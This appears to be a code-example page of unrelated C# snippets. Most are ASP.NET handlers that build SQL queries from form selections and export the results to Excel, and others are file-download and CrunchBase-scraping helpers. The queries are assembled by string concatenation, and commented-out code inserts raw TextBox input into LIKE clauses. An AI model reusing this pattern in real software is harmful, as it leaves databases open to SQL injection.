            ApplicationClass ac = new ApplicationClass();

            ac.Visible       = false;                          // Excel不显示
            ac.DisplayAlerts = false;                          // 关闭提示,采用默认的方案执行(合并单元格的时候,如果两个单元格都有数据,会出现一个确认提示)

            Workbook  wkbook  = ac.Workbooks.Add(true);        // 添加工作簿
            Worksheet wksheet = (Worksheet)wkbook.ActiveSheet; // 获得工作表


            int rowCount = dt.Rows.Count;

            int colCount = dt.Columns.Count;

            wksheet.get_Range("A1", wksheet.Cells[1 + rowCount, colCount + 1]).HorizontalAlignment = XlHAlign.xlHAlignCenter;
            wksheet.get_Range("A1", wksheet.Cells[1 + rowCount, colCount + 1]).VerticalAlignment   = XlVAlign.xlVAlignCenter;
            wksheet.get_Range("A1", wksheet.Cells[1 + rowCount, colCount + 1]).Borders.LineStyle   = Microsoft.Office.Interop.Excel.XlLineStyle.xlContinuous;
            wksheet.get_Range("A1", wksheet.Cells[1 + rowCount, colCount + 1]).NumberFormatLocal   = "@";
            object[,] dataArray = new object[rowCount, colCount + 1];

            for (int i = 0; i < rowCount; i++)
            {
                dataArray[i, 0] = (object)(i + 1);

                for (int j = 0; j < colCount; j++)
                {
                    dataArray[i, j + 1] = ("'" + dt.Rows[i][j].ToString()) as object;
                }
            }

            //设置表头
            wksheet.Cells[1, 1] = "序号";

            for (int i = 0; i < dt.Columns.Count; i++)
            {
                wksheet.Cells[1, i + 2] = dt.Columns[i].ColumnName;
            }
            //A2表示第二行第一列
            wksheet.get_Range("A2", wksheet.Cells[1 + rowCount, colCount + 1]).Value2 = dataArray;


            //设置列宽
            wksheet.Columns.EntireColumn.AutoFit();//列宽自适应

            string filename = Server.MapPath("/SM_Data/ExportFile/" + "单据" + DateTime.Now.ToString("yyyyMMddHHmmssfff") + ".xls");

            wkbook.SaveAs(filename, Type.Missing, Type.Missing, Type.Missing, Type.Missing, Type.Missing, XlSaveAsAccessMode.xlNoChange, Type.Missing, Type.Missing, Type.Missing, Type.Missing, Type.Missing);
            wkbook.Close(Type.Missing, Type.Missing, Type.Missing);
            ac.Quit();

            #region kill excel process

            System.Diagnostics.Process[] procs = System.Diagnostics.Process.GetProcessesByName("EXCEL");
            foreach (System.Diagnostics.Process p in procs)
            {
                int baseAdd = p.MainModule.BaseAddress.ToInt32();
                //oXL is Excel.ApplicationClass object
                if (baseAdd == ac.Hinstance)
                {
                    p.Kill();
                    break;
                }
            }
            #endregion

            wkbook = null;
            ac     = null;
            GC.Collect();

            if (File.Exists(filename))
            {
                DownloadFile.Send(Context, filename);
            }
        }
        protected void Confirm_Click(object sender, EventArgs e)
        {
            string sql       = "SELECT ";
            string attribute = "";
            string condition = GetCondition();
            string order     = "";

            if (CheckBoxList1.Items[0].Selected == true)//MTO调整单号
            {
                attribute += CheckBoxList1.Items[0].Value;
            }
            if (CheckBoxList8.Items[0].Selected == true)//物料编码
            {
                attribute += CheckBoxList8.Items[0].Value;
            }
            if (CheckBoxList9.Items[0].Selected == true)//物料名称
            {
                attribute += CheckBoxList9.Items[0].Value;
            }
            if (CheckBoxList12.Items[0].Selected == true)//规格型号
            {
                attribute += CheckBoxList12.Items[0].Value;
            }
            if (CheckBoxList10.Items[0].Selected == true)//材质
            {
                attribute += CheckBoxList10.Items[0].Value;
            }
            if (CheckBoxList11.Items[0].Selected == true)//国标
            {
                attribute += CheckBoxList11.Items[0].Value;
            }
            if (CheckBoxList13.Items[0].Selected == true)//是否定尺
            {
                attribute += CheckBoxList13.Items[0].Value;
            }
            if (CheckBoxList14.Items[0].Selected == true)//长
            {
                attribute += CheckBoxList14.Items[0].Value;
            }
            if (CheckBoxList15.Items[0].Selected == true)//宽
            {
                attribute += CheckBoxList15.Items[0].Value;
            }
            if (CheckBoxList16.Items[0].Selected == true)//批号
            {
                attribute += CheckBoxList16.Items[0].Value;
            }
            if (CheckBoxList17.Items[0].Selected == true)//从计划跟踪号
            {
                attribute += CheckBoxList17.Items[0].Value;
            }
            if (CheckBoxList21.Items[0].Selected == true)//到计划跟踪号
            {
                attribute += CheckBoxList21.Items[0].Value;
            }

            if (CheckBoxList20.Items[0].Selected == true)//单位
            {
                attribute += CheckBoxList20.Items[0].Value;
            }
            if (CheckBoxList22.Items[0].Selected == true)//调整数量
            {
                attribute += CheckBoxList22.Items[0].Value;
            }
            if (CheckBoxList23.Items[0].Selected == true)//张支
            {
                attribute += CheckBoxList23.Items[0].Value;
            }

            if (CheckBoxList18.Items[0].Selected == true)//仓库
            {
                attribute += CheckBoxList18.Items[0].Value;
            }
            if (CheckBoxList19.Items[0].Selected == true)//仓位
            {
                attribute += CheckBoxList19.Items[0].Value;
            }

            if (CheckBoxList24.Items[0].Selected == true)//订单号
            {
                attribute += CheckBoxList24.Items[0].Value;
            }

            if (CheckBoxList3.Items[0].Selected == true)//部门
            {
                attribute += CheckBoxList3.Items[0].Value;
            }
            if (CheckBoxList4.Items[0].Selected == true)//计划员
            {
                attribute += CheckBoxList4.Items[0].Value;
            }
            if (CheckBoxList5.Items[0].Selected == true)//制单人
            {
                attribute += CheckBoxList5.Items[0].Value;
            }
            if (CheckBoxList2.Items[0].Selected == true)//制单日期
            {
                attribute += CheckBoxList2.Items[0].Value;
            }
            if (CheckBoxList6.Items[0].Selected == true)//审核人
            {
                attribute += CheckBoxList6.Items[0].Value;
            }
            if (CheckBoxList7.Items[0].Selected == true)//审核日期
            {
                attribute += CheckBoxList7.Items[0].Value;
            }
            if (CheckBoxList25.Items[0].Selected == true)//备注
            {
                attribute += CheckBoxList25.Items[0].Value;
            }
            if (attribute != "")
            {
                attribute = attribute.Substring(0, attribute.Length - 1);
                sql      += attribute;
                sql      += " FROM View_SM_MTO ";
            }

            //if (TextBox1.Text != "")
            //{
            //    condition += "AND MTOCode LIKE '%" + TextBox1.Text + "%' ";
            //}
            //if (TextBox2.Text != "")
            //{
            //    condition += "AND Date LIKE '%" + TextBox2.Text + "%' ";
            //}
            //if (TextBox3.Text != "")
            //{
            //    condition += "AND Dep LIKE '%" + TextBox3.Text + "%' ";
            //}
            //if (TextBox4.Text != "")
            //{
            //    condition += "AND Planer LIKE '%" + TextBox4.Text + "%' ";
            //}
            //if (TextBox5.Text != "")
            //{
            //    condition += "AND Doc LIKE '%" + TextBox5.Text + "%' ";
            //}
            //if (TextBox6.Text != "")
            //{
            //    condition += "AND Verifier LIKE '%" + TextBox6.Text + "%' ";
            //}
            //if (TextBox7.Text != "")
            //{
            //    condition += "AND VerifyDate LIKE '%" + TextBox7.Text + "%' ";
            //}
            //if (TextBox8.Text != "")
            //{
            //    condition += "AND MaterialCode LIKE '%" + TextBox8.Text + "%' ";
            //}
            //if (TextBox9.Text != "")
            //{
            //    condition += "AND MaterialName LIKE '%" + TextBox9.Text + "%' ";
            //}
            //if (TextBox10.Text != "")
            //{
            //    condition += "AND Attribute LIKE '%" + TextBox10.Text + "%' ";
            //}
            //if (TextBox11.Text != "")
            //{
            //    condition += "AND GB LIKE '%" + TextBox11.Text + "%' ";
            //}
            //if (TextBox12.Text != "")
            //{
            //    condition += "AND Standard LIKE '%" + TextBox12.Text + "%' ";
            //}
            //if (TextBox13.Text != "")
            //{
            //    condition += "AND Fixed LIKE '%" + TextBox13.Text + "%' ";
            //}
            //if (TextBox14.Text != "")
            //{
            //    condition += "AND Length LIKE '%" + TextBox14.Text + "%' ";
            //}
            //if (TextBox15.Text != "")
            //{
            //    condition += "AND Width LIKE '%" + TextBox15.Text + "%' ";
            //}
            //if (TextBox16.Text != "")
            //{
            //    condition += "AND LotNumber LIKE '%" + TextBox16.Text + "%' ";
            //}
            //if (TextBox17.Text != "")
            //{
            //    condition += "AND PTCFrom LIKE '%" + TextBox17.Text + "%' ";
            //}
            //if (TextBox18.Text != "")
            //{
            //    condition += "AND Warehouse LIKE '%" + TextBox18.Text + "%' ";
            //}
            //if (TextBox19.Text != "")
            //{
            //    condition += "AND Location LIKE '%" + TextBox19.Text + "%' ";
            //}
            //if (TextBox20.Text != "")
            //{
            //    condition += "AND Unit LIKE '%" + TextBox20.Text + "%' ";
            //}
            //if (TextBox21.Text != "")
            //{
            //    condition += "AND PTCTo LIKE '%" + TextBox21.Text + "%' ";
            //}
            //if (TextBox22.Text != "")
            //{
            //    condition += "AND TZNUM LIKE '%" + TextBox22.Text + "' ";
            //}
            //if (TextBox23.Text != "")
            //{
            //    condition += "AND TZFZNUM LIKE '%" + TextBox23.Text + "%' ";
            //}
            //if (TextBox24.Text != "")
            //{
            //    condition += "AND OrderCode LIKE '%" + TextBox24.Text + "%' ";
            //}
            if (condition != "")
            {
                //condition = condition.Substring(3, condition.Length - 3);
                //condition = condition.Substring(0, condition.Length - 1);
                sql += " WHERE ";
                sql += condition;
            }

            if (RadioButtonList1.SelectedValue != string.Empty)
            {
                order += RadioButtonList1.SelectedValue;
            }
            if (RadioButtonList2.SelectedValue != string.Empty)
            {
                order += RadioButtonList2.SelectedValue;
            }
            if (RadioButtonList3.SelectedValue != string.Empty)
            {
                order += RadioButtonList3.SelectedValue;
            }
            if (RadioButtonList4.SelectedValue != string.Empty)
            {
                order += RadioButtonList4.SelectedValue;
            }
            if (RadioButtonList5.SelectedValue != string.Empty)
            {
                order += RadioButtonList5.SelectedValue;
            }
            if (RadioButtonList6.SelectedValue != string.Empty)
            {
                order += RadioButtonList6.SelectedValue;
            }
            if (RadioButtonList7.SelectedValue != string.Empty)
            {
                order += RadioButtonList7.SelectedValue;
            }
            if (RadioButtonList8.SelectedValue != string.Empty)
            {
                order += RadioButtonList8.SelectedValue;
            }
            if (RadioButtonList9.SelectedValue != string.Empty)
            {
                order += RadioButtonList9.SelectedValue;
            }
            if (RadioButtonList10.SelectedValue != string.Empty)
            {
                order += RadioButtonList10.SelectedValue;
            }
            if (RadioButtonList11.SelectedValue != string.Empty)
            {
                order += RadioButtonList11.SelectedValue;
            }
            if (RadioButtonList12.SelectedValue != string.Empty)
            {
                order += RadioButtonList12.SelectedValue;
            }
            if (RadioButtonList13.SelectedValue != string.Empty)
            {
                order += RadioButtonList13.SelectedValue;
            }
            if (RadioButtonList14.SelectedValue != string.Empty)
            {
                order += RadioButtonList14.SelectedValue;
            }
            if (RadioButtonList15.SelectedValue != string.Empty)
            {
                order += RadioButtonList15.SelectedValue;
            }
            if (RadioButtonList16.SelectedValue != string.Empty)
            {
                order += RadioButtonList16.SelectedValue;
            }
            if (RadioButtonList17.SelectedValue != string.Empty)
            {
                order += RadioButtonList17.SelectedValue;
            }
            if (RadioButtonList18.SelectedValue != string.Empty)
            {
                order += RadioButtonList18.SelectedValue;
            }
            if (RadioButtonList19.SelectedValue != string.Empty)
            {
                order += RadioButtonList19.SelectedValue;
            }
            if (RadioButtonList20.SelectedValue != string.Empty)
            {
                order += RadioButtonList20.SelectedValue;
            }
            if (RadioButtonList21.SelectedValue != string.Empty)
            {
                order += RadioButtonList21.SelectedValue;
            }
            if (RadioButtonList22.SelectedValue != string.Empty)
            {
                order += RadioButtonList22.SelectedValue;
            }
            if (RadioButtonList23.SelectedValue != string.Empty)
            {
                order += RadioButtonList23.SelectedValue;
            }
            if (RadioButtonList24.SelectedValue != string.Empty)
            {
                order += RadioButtonList24.SelectedValue;
            }
            if (RadioButtonList25.SelectedValue != string.Empty)
            {
                order += RadioButtonList25.SelectedValue;
            }
            if (order != "")
            {
                order = order.Substring(0, order.Length - 1);
                sql  += " ORDER BY ";
                sql  += order;
            }

            System.Data.DataTable dt = DBCallCommon.GetDTUsingSqlText(sql);

            ApplicationClass ac = new ApplicationClass();

            ac.Visible       = false;                          // Excel不显示
            ac.DisplayAlerts = false;                          // 关闭提示,采用默认的方案执行(合并单元格的时候,如果两个单元格都有数据,会出现一个确认提示)

            Workbook  wkbook  = ac.Workbooks.Add(true);        // 添加工作簿
            Worksheet wksheet = (Worksheet)wkbook.ActiveSheet; // 获得工作表


            int rowCount = dt.Rows.Count;

            int colCount = dt.Columns.Count;

            wksheet.get_Range("A1", wksheet.Cells[1 + rowCount, colCount + 1]).HorizontalAlignment = XlHAlign.xlHAlignCenter;
            wksheet.get_Range("A1", wksheet.Cells[1 + rowCount, colCount + 1]).VerticalAlignment   = XlVAlign.xlVAlignCenter;
            wksheet.get_Range("A1", wksheet.Cells[1 + rowCount, colCount + 1]).Borders.LineStyle   = Microsoft.Office.Interop.Excel.XlLineStyle.xlContinuous;
            wksheet.get_Range("A1", wksheet.Cells[1 + rowCount, colCount + 1]).NumberFormatLocal   = "@";
            object[,] dataArray = new object[rowCount, colCount + 1];

            for (int i = 0; i < rowCount; i++)
            {
                dataArray[i, 0] = (object)(i + 1);

                for (int j = 0; j < colCount; j++)
                {
                    dataArray[i, j + 1] = ("'" + dt.Rows[i][j].ToString()) as object;
                }
            }

            //设置表头
            wksheet.Cells[1, 1] = "序号";

            for (int i = 0; i < dt.Columns.Count; i++)
            {
                wksheet.Cells[1, i + 2] = dt.Columns[i].ColumnName;
            }
            //A2表示第二行第一列
            wksheet.get_Range("A2", wksheet.Cells[1 + rowCount, colCount + 1]).Value2 = dataArray;


            //设置列宽
            wksheet.Columns.EntireColumn.AutoFit();//列宽自适应

            #region 没用代码
            //----------------------------------------------------------------------

            //设置表头
            //ac.Cells[1, 1] = "序号";
            //for (int i = 0; i < dt.Columns.Count; i++)
            //{
            //    ac.Cells[1, i + 2] = dt.Columns[i].ColumnName;
            //}

            //int rowIndex = 2;   // 行
            //int colIndex = 2;   // 列

            //// 填充数据很简单无非是一个2重循环,下面看起来逻辑很复杂是因为添加了合并单元格的代码

            //for (int i = 0; i < dt.Rows.Count; i++)
            //{
            //    ac.Cells[rowIndex, 1] = "'" + (rowIndex - 1).ToString();
            //    colIndex = 2;
            //    for (int j = 0; j < dt.Columns.Count; j++)
            //    {
            //        if (dt.Columns[j].DataType == System.Type.GetType("System.DateTime"))
            //        {
            //            try
            //            {
            //                // 如果单元格前不加"'",有些字段会自动采用科学计数法
            //                ac.Cells[rowIndex, colIndex] = "'" + (Convert.ToDateTime(dt.Rows[i][dt.Columns[j].ColumnName].ToString())).ToString("yyyy-MM-dd");
            //            }
            //            catch (System.FormatException)
            //            {
            //                ac.Cells[rowIndex, colIndex] = "";
            //            }
            //        }
            //        else if (dt.Columns[j].DataType == System.Type.GetType("System.String"))
            //        {
            //            ac.Cells[rowIndex, colIndex] = "'" + dt.Rows[i][dt.Columns[j].ColumnName].ToString();
            //        }
            //        else
            //        {
            //            ac.Cells[rowIndex, colIndex] = "'" + dt.Rows[i][dt.Columns[j].ColumnName].ToString();
            //        }
            //        wksheet.get_Range(ac.Cells[rowIndex, colIndex], ac.Cells[rowIndex, colIndex]).HorizontalAlignment = XlHAlign.xlHAlignLeft;
            //        colIndex++;
            //    }
            //    rowIndex++;
            //}


            //----------------------------------------------------------------------
            #endregion
            string filename = Server.MapPath("/SM_Data/ExportFile/" + "MTO" + DateTime.Now.ToString("yyyyMMddHHmmssfff") + ".xls");
            wkbook.SaveAs(filename, Type.Missing, Type.Missing, Type.Missing, Type.Missing, Type.Missing, XlSaveAsAccessMode.xlNoChange, Type.Missing, Type.Missing, Type.Missing, Type.Missing, Type.Missing);
            wkbook.Close(Type.Missing, Type.Missing, Type.Missing);
            ac.Quit();

            #region kill excel process

            System.Diagnostics.Process[] procs = System.Diagnostics.Process.GetProcessesByName("EXCEL");
            foreach (System.Diagnostics.Process p in procs)
            {
                int baseAdd = p.MainModule.BaseAddress.ToInt32();
                //oXL is Excel.ApplicationClass object
                if (baseAdd == ac.Hinstance)
                {
                    p.Kill();
                    break;
                }
            }
            #endregion

            wkbook = null;
            ac     = null;
            GC.Collect();

            if (File.Exists(filename))
            {
                DownloadFile.Send(Context, filename);
            }
        }
        protected void Confirm_Click(object sender, EventArgs e)
        {
            string sql       = "SELECT ";
            string attribute = "";
            string condition = GetCondition();
            string order     = "";

            if (CheckBoxList1.Items[0].Selected == true)//销售出库单号
            {
                attribute += CheckBoxList1.Items[0].Value;
            }
            if (CheckBoxList24.Items[0].Selected == true)//计划跟踪号
            {
                attribute += CheckBoxList24.Items[0].Value;
            }
            if (CheckBoxList8.Items[0].Selected == true)//物料代码
            {
                attribute += CheckBoxList8.Items[0].Value;
            }
            if (CheckBoxList9.Items[0].Selected == true)//物料名称
            {
                attribute += CheckBoxList9.Items[0].Value;
            }
            if (CheckBoxList12.Items[0].Selected == true)//规格型号
            {
                attribute += CheckBoxList12.Items[0].Value;
            }
            if (CheckBoxList10.Items[0].Selected == true)//材质
            {
                attribute += CheckBoxList10.Items[0].Value;
            }
            if (CheckBoxList11.Items[0].Selected == true)//国标
            {
                attribute += CheckBoxList11.Items[0].Value;
            }

            if (CheckBoxList13.Items[0].Selected == true)//是否定尺
            {
                attribute += CheckBoxList13.Items[0].Value;
            }
            if (CheckBoxList14.Items[0].Selected == true)//长
            {
                attribute += CheckBoxList14.Items[0].Value;
            }
            if (CheckBoxList15.Items[0].Selected == true)//宽
            {
                attribute += CheckBoxList15.Items[0].Value;
            }
            if (CheckBoxList16.Items[0].Selected == true)//批号
            {
                attribute += CheckBoxList16.Items[0].Value;
            }
            if (CheckBoxList17.Items[0].Selected == true)//单位
            {
                attribute += CheckBoxList17.Items[0].Value;
            }
            if (CheckBoxList18.Items[0].Selected == true)//实发重量
            {
                attribute += CheckBoxList18.Items[0].Value;
            }
            if (CheckBoxList19.Items[0].Selected == true)//实发张支
            {
                attribute += CheckBoxList19.Items[0].Value;
            }
            if (CheckBoxList20.Items[0].Selected == true)//单价
            {
                attribute += CheckBoxList20.Items[0].Value;
            }
            if (CheckBoxList21.Items[0].Selected == true)//金额
            {
                attribute += CheckBoxList21.Items[0].Value;
            }


            if (CheckBoxList25.Items[0].Selected == true)//销售单价
            {
                attribute += CheckBoxList25.Items[0].Value;
            }
            if (CheckBoxList26.Items[0].Selected == true)//销售金额
            {
                attribute += CheckBoxList26.Items[0].Value;
            }


            if (CheckBoxList22.Items[0].Selected == true)//仓库
            {
                attribute += CheckBoxList22.Items[0].Value;
            }
            if (CheckBoxList23.Items[0].Selected == true)//仓位
            {
                attribute += CheckBoxList23.Items[0].Value;
            }
            if (CheckBoxList2.Items[0].Selected == true)//购货单位
            {
                attribute += CheckBoxList2.Items[0].Value;
            }
            if (CheckBoxList3.Items[0].Selected == true)//领料日期
            {
                attribute += CheckBoxList3.Items[0].Value;
            }
            if (CheckBoxList4.Items[0].Selected == true)//销售业务类型
            {
                attribute += CheckBoxList4.Items[0].Value;
            }
            if (CheckBoxList5.Items[0].Selected == true)//制单人
            {
                attribute += CheckBoxList5.Items[0].Value;
            }
            if (CheckBoxList6.Items[0].Selected == true)//审核人
            {
                attribute += CheckBoxList6.Items[0].Value;
            }
            if (CheckBoxList7.Items[0].Selected == true)//审核日期
            {
                attribute += CheckBoxList7.Items[0].Value;
            }
            if (attribute != "")
            {
                attribute = attribute.Substring(0, attribute.Length - 1);
                sql      += attribute;
                sql      += " FROM View_SM_OUTXS ";
            }

            if (condition != "")
            {
                sql += " WHERE ";
                sql += condition;
            }

            if (RadioButtonList1.SelectedValue != string.Empty)
            {
                order += RadioButtonList1.SelectedValue;
            }
            if (RadioButtonList2.SelectedValue != string.Empty)
            {
                order += RadioButtonList2.SelectedValue;
            }
            if (RadioButtonList3.SelectedValue != string.Empty)
            {
                order += RadioButtonList3.SelectedValue;
            }
            if (RadioButtonList4.SelectedValue != string.Empty)
            {
                order += RadioButtonList4.SelectedValue;
            }
            if (RadioButtonList5.SelectedValue != string.Empty)
            {
                order += RadioButtonList5.SelectedValue;
            }
            if (RadioButtonList6.SelectedValue != string.Empty)
            {
                order += RadioButtonList6.SelectedValue;
            }
            if (RadioButtonList7.SelectedValue != string.Empty)
            {
                order += RadioButtonList7.SelectedValue;
            }
            if (RadioButtonList8.SelectedValue != string.Empty)
            {
                order += RadioButtonList8.SelectedValue;
            }
            if (RadioButtonList9.SelectedValue != string.Empty)
            {
                order += RadioButtonList9.SelectedValue;
            }
            if (RadioButtonList10.SelectedValue != string.Empty)
            {
                order += RadioButtonList10.SelectedValue;
            }
            if (RadioButtonList11.SelectedValue != string.Empty)
            {
                order += RadioButtonList11.SelectedValue;
            }
            if (RadioButtonList12.SelectedValue != string.Empty)
            {
                order += RadioButtonList12.SelectedValue;
            }
            if (RadioButtonList13.SelectedValue != string.Empty)
            {
                order += RadioButtonList13.SelectedValue;
            }
            if (RadioButtonList14.SelectedValue != string.Empty)
            {
                order += RadioButtonList14.SelectedValue;
            }
            if (RadioButtonList15.SelectedValue != string.Empty)
            {
                order += RadioButtonList15.SelectedValue;
            }
            if (RadioButtonList16.SelectedValue != string.Empty)
            {
                order += RadioButtonList16.SelectedValue;
            }
            if (RadioButtonList17.SelectedValue != string.Empty)
            {
                order += RadioButtonList17.SelectedValue;
            }
            if (RadioButtonList18.SelectedValue != string.Empty)
            {
                order += RadioButtonList18.SelectedValue;
            }
            if (RadioButtonList19.SelectedValue != string.Empty)
            {
                order += RadioButtonList19.SelectedValue;
            }
            if (RadioButtonList20.SelectedValue != string.Empty)
            {
                order += RadioButtonList20.SelectedValue;
            }
            if (RadioButtonList21.SelectedValue != string.Empty)
            {
                order += RadioButtonList21.SelectedValue;
            }
            if (RadioButtonList22.SelectedValue != string.Empty)
            {
                order += RadioButtonList22.SelectedValue;
            }
            if (RadioButtonList23.SelectedValue != string.Empty)
            {
                order += RadioButtonList23.SelectedValue;
            }
            if (RadioButtonList24.SelectedValue != string.Empty)
            {
                order += RadioButtonList24.SelectedValue;
            }
            if (order != "")
            {
                order = order.Substring(0, order.Length - 1);
                sql  += " ORDER BY ";
                sql  += order;
            }

            System.Data.DataTable dt = DBCallCommon.GetDTUsingSqlText(sql);

            ApplicationClass ac = new ApplicationClass();

            ac.Visible = false;                                // Excel不显示
            Workbook  wkbook  = ac.Workbooks.Add(true);        // 添加工作簿
            Worksheet wksheet = (Worksheet)wkbook.ActiveSheet; // 获得工作表

            ac.DisplayAlerts = false;                          // 关闭提示,采用默认的方案执行(合并单元格的时候,如果两个单元格都有数据,会出现一个确认提示)

            int rowCount = dt.Rows.Count;
            int colCount = dt.Columns.Count;

            wksheet.get_Range("A1", wksheet.Cells[1 + rowCount, colCount + 1]).HorizontalAlignment = XlHAlign.xlHAlignCenter;
            wksheet.get_Range("A1", wksheet.Cells[1 + rowCount, colCount + 1]).VerticalAlignment   = XlVAlign.xlVAlignCenter;
            wksheet.get_Range("A1", wksheet.Cells[1 + rowCount, colCount + 1]).Borders.LineStyle   = Microsoft.Office.Interop.Excel.XlLineStyle.xlContinuous;
            wksheet.get_Range("A1", wksheet.Cells[1 + rowCount, colCount + 1]).NumberFormatLocal   = "@";

            object[,] dataArray = new object[rowCount, colCount + 1];

            for (int i = 0; i < rowCount; i++)
            {
                dataArray[i, 0] = (object)(i + 1);

                for (int j = 0; j < colCount; j++)
                {
                    dataArray[i, j + 1] = dt.Rows[i][j];
                }
            }

            //设置表头
            wksheet.Cells[1, 1] = "序号";

            for (int i = 0; i < dt.Columns.Count; i++)
            {
                wksheet.Cells[1, i + 2] = dt.Columns[i].ColumnName;
            }

            wksheet.get_Range("A2", wksheet.Cells[1 + rowCount, colCount + 1]).Value2 = dataArray;

            //设置列宽
            wksheet.Columns.EntireColumn.AutoFit();//列宽自适应

            string filename = Server.MapPath("/SM_Data/ExportFile/" + "销售出库" + DateTime.Now.ToString("yyyyMMddHHmmssfff") + ".xls");

            wkbook.SaveAs(filename, Type.Missing, Type.Missing, Type.Missing, Type.Missing, Type.Missing, XlSaveAsAccessMode.xlNoChange, Type.Missing, Type.Missing, Type.Missing, Type.Missing, Type.Missing);
            wkbook.Close(Type.Missing, Type.Missing, Type.Missing);
            ac.Quit();
            wkbook = null;
            ac     = null;
            GC.Collect();    // 强制垃圾回收

            if (System.IO.File.Exists(filename))
            {
                DownloadFile.Send(Context, filename);
            }
        }
        // Downloading files.
        private void DownloadResourceFile()
        {
            if (download_list_.Count <= 0)
            {
                if (url_list_.Count > 0)
                {
                    DownloadUrl info = url_list_[0];
                    url_list_.RemoveAt(0);

                    host_url_ = info.host;
                    DownloadListFile(info.url);
                }
                else
                {
                    state_ = State.Completed;
                    Debug.Log("Download completed.");

                    if (FinishedCallback != null)
                        FinishedCallback(DownloadResult.SUCCESS);
                }
            }
            else
            {
                cur_download_ = download_list_[0];

                // Check directory
                string path = target_path_;
                int offset = cur_download_.path.LastIndexOf('/');
                if (offset >= 0)
                    path += cur_download_.path.Substring(0, offset);

                if (!Directory.Exists(path))
                    Directory.CreateDirectory(path);

                string file_path = target_path_ + cur_download_.path;
                if (File.Exists(file_path))
                    File.Delete(file_path);

                // Request a file.
                Debug.Log("Download file - " + file_path);
                web_client_.DownloadFileAsync(new Uri(host_url_ + cur_download_.path), file_path);
            }
        }
Example #18
0
 /// <summary>
 /// 分片下载方法
 /// </summary>
 /// <param name="downloadFile">下载文件信息</param>
 /// <param name="numberOfParts">分段数量</param>
 public static void MultiPartDownload(DownloadFile downloadFile, int numberOfParts = 16)
 {
     MultiPartDownloadTaskAsync(downloadFile, numberOfParts).GetAwaiter().GetResult();
 }
Example #19
0
        static void Main(string[] args)
        {
            #region Helper Instances

            ProductsGenerator productsGenerator = new ProductsGenerator();
            CompanyGenerator companyGenerator = new CompanyGenerator();
            PeopleGenerator peopleGenerator = new PeopleGenerator();
            FinancialGenerator financialGenerator = new FinancialGenerator();
            ServiceProviderGenerator serviceprovidergenerator = new ServiceProviderGenerator();

            JavaScriptSerializer ser = new JavaScriptSerializer();

            DownloadFile myDownload = new DownloadFile();
            int num = 0;
            int AllNum = 0;
            int ThreadNum = 20;
            #endregion

            if (!Directory.Exists("crunchbase"))
                Directory.CreateDirectory("crunchbase");

            #region Companies

            String companies = myDownload.DownloadParentFileAndGetParentInfo("http://api.crunchbase.com/v/1/companies.js", "company", "crunchbase" + Path.DirectorySeparatorChar + "companies.js");

            Console.Write("Parsing company names...");
            List<cbCompanyObject> ParsedCompanies = companyGenerator.GetCompanyNames(companies);
            Console.WriteLine("done");

            Console.Write("Getting each company info...");
            if (!Directory.Exists("crunchbase" + Path.DirectorySeparatorChar + "company"))
                Directory.CreateDirectory("crunchbase" + Path.DirectorySeparatorChar + "company");

            num = 0;
            AllNum = ParsedCompanies.Count;
            foreach (cbCompanyObject company in ParsedCompanies)
            {
                #region Get the JSON Results for every company and output it to a file...

                //create download task
                DownloadChildFileTask atask = new DownloadChildFileTask() { sFilePathDiff = "company", slink = company.permalink, sWebPath = "http://api.crunchbase.com/v/1/company/" };
                myDownload.cdChildInfoTasks.Add(atask);

                if (num % ThreadNum == 0 || num == AllNum)
                {
                    myDownload.RunChildFileDownloadTask();
                }

                //myDownload.DownloadChildFile("http://api.crunchbase.com/v/1/company/", company.permalink, "company");

                num++;
                myDownload.ShowDownloadProgress(num, AllNum, "DownLoad companies:");

                #endregion
            }
            Console.WriteLine("done");
            #endregion

            #region people

            String people = myDownload.DownloadParentFileAndGetParentInfo("http://api.crunchbase.com/v/1/people.js", "peoples", "crunchbase" + Path.DirectorySeparatorChar + "people.js");

            Console.Write("Parsing peoples names...");
            List<cbPeoplesObject> parsedPeoples = peopleGenerator.GetPeoples(people);
            Console.WriteLine("done");

            Console.Write("Getting each persons info...");
            //string jsonStream;

            if (!Directory.Exists("crunchbase" + Path.DirectorySeparatorChar + "person"))
                Directory.CreateDirectory("crunchbase" + Path.DirectorySeparatorChar + "person");

            num = 0;
            AllNum = parsedPeoples.Count;
            foreach (cbPeoplesObject person in parsedPeoples)
            {
                DownloadChildFileTask atask = new DownloadChildFileTask() { sFilePathDiff = "person", slink = person.permalink, sWebPath = "http://api.crunchbase.com/v/1/person/" };
                myDownload.cdChildInfoTasks.Add(atask);
                if (num % ThreadNum == 0 || num == AllNum)
                {
                    myDownload.RunChildFileDownloadTask();
                }

                num++;
                myDownload.ShowDownloadProgress(num, AllNum, "DownLoad persons:");

            }
            Console.WriteLine("done");

            #endregion

            #region products

            String products = myDownload.DownloadParentFileAndGetParentInfo("http://api.crunchbase.com/v/1/products.js", "products", "crunchbase" + Path.DirectorySeparatorChar + "products.js");

            Console.Write("Parsing products names...");
            List<cbProductsObject> parsedProducts = productsGenerator.GetProducts(products);
            Console.WriteLine("done");

            Console.Write("Getting each products info...");

            if (!Directory.Exists("crunchbase" + Path.DirectorySeparatorChar + "product"))
                Directory.CreateDirectory("crunchbase" + Path.DirectorySeparatorChar + "product");

            num = 0;
            AllNum = parsedProducts.Count;
            foreach (cbProductsObject product in parsedProducts)
            {

                DownloadChildFileTask atask = new DownloadChildFileTask() { sFilePathDiff = "product", slink = product.permalink, sWebPath = "http://api.crunchbase.com/v/1/product/" };
                myDownload.cdChildInfoTasks.Add(atask);

                if (num % ThreadNum == 0 || num == AllNum)
                {
                    myDownload.RunChildFileDownloadTask();
                }

                //myDownload.DownloadChildFile("http://api.crunchbase.com/v/1/product/", product.permalink, "product");

                num++;
                myDownload.ShowDownloadProgress(num, AllNum, "DownLoad products:");
            }
            Console.WriteLine("done");

            #endregion

            #region financial-organizations

            String financialorganizations = myDownload.DownloadParentFileAndGetParentInfo("http://api.crunchbase.com/v/1/financial-organizations.js", "financial-organizations", "crunchbase" + Path.DirectorySeparatorChar + "financial-organizations.js");

            Console.Write("Parsing financial-organizations names...");
            List<cbFinancialObject> parsedFinancial = financialGenerator.GetFinancials(financialorganizations);
            Console.WriteLine("done");

            Console.Write("Getting each financial-organization info...");

            if (!Directory.Exists("crunchbase" + Path.DirectorySeparatorChar + "financial-organization"))
                Directory.CreateDirectory("crunchbase" + Path.DirectorySeparatorChar + "financial-organization");
            num = 0;
            AllNum = parsedFinancial.Count;
            foreach (cbFinancialObject financial in parsedFinancial)
            {

